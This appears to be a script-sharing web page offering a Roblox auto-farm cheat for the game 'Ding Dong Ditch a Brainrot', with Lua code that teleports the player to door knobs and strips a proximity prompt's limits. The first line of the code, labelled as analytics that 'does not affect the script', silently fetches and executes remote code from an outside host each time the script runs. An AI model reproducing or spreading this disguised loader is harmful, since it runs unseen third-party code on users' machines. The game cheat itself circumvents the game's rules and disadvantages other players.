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Ding Dong Ditch a Brainrot Script No Key - Auto Farm Latest House (2026)

Mmooncurtain7205 months ago
  • Open source
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Description

Ding Dong Ditch a Brainrot script no key with Auto Farm Latest House feature. Updated May 2026 Roblox script designed to automate farming by targeting the newest and highest-tier houses available in the game. The system updates automatically to follow newly added houses, ensuring efficient reward collection and consistent progression. Built for smooth execution and stable performance, this script helps players farm faster, gain more rewards, and maintain steady progression with minimal input.

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Features

3 Features
  • auto farm latest house
  • auto target houses
  • dynamic updates
51 lines•1536 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/IFN53IKN?v=1"))()end);--=== Does not affect the script ===--local player = game.Players.LocalPlayer
local safePos = Vector3.new(6.89, 29.31, 103.79)
local houses = workspace.Houses

local function getHighestHouse()
    local highest, highestNum = nil, 0
    for _, house in houses:GetChildren() do
        local num = tonumber(house.Name:match("%d+"))
        if num and num > highestNum then
            highestNum = num
            highest = house
        end
    end
    return highest
end

local knob = getHighestHouse().Door.Door.Knob
local prompt

for _, child in knob:GetChildren() do
    if child:IsA("ProximityPrompt") and child.ObjectText == "Door" then
        child.HoldDuration = 0
        child.MaxActivationDistance = math.huge
        child.RequiresLineOfSight = false
        prompt = child
        break
    end
end

task.spawn(function()
    while true do
        local character = player.Character or player.CharacterAdded:Wait()
        local root = character:WaitForChild("HumanoidRootPart")

        root.CFrame = CFrame.new(knob.Position)
        task.wait(0.05)
        fireproximityprompt(prompt)
        task.wait(0.2)

        if player:GetAttribute("Gameing") then
            root.CFrame = CFrame.new(safePos)
            repeat task.wait(0.1) until not player:GetAttribute("Gameing")
        end

        task.wait(0.1)
    end
end)

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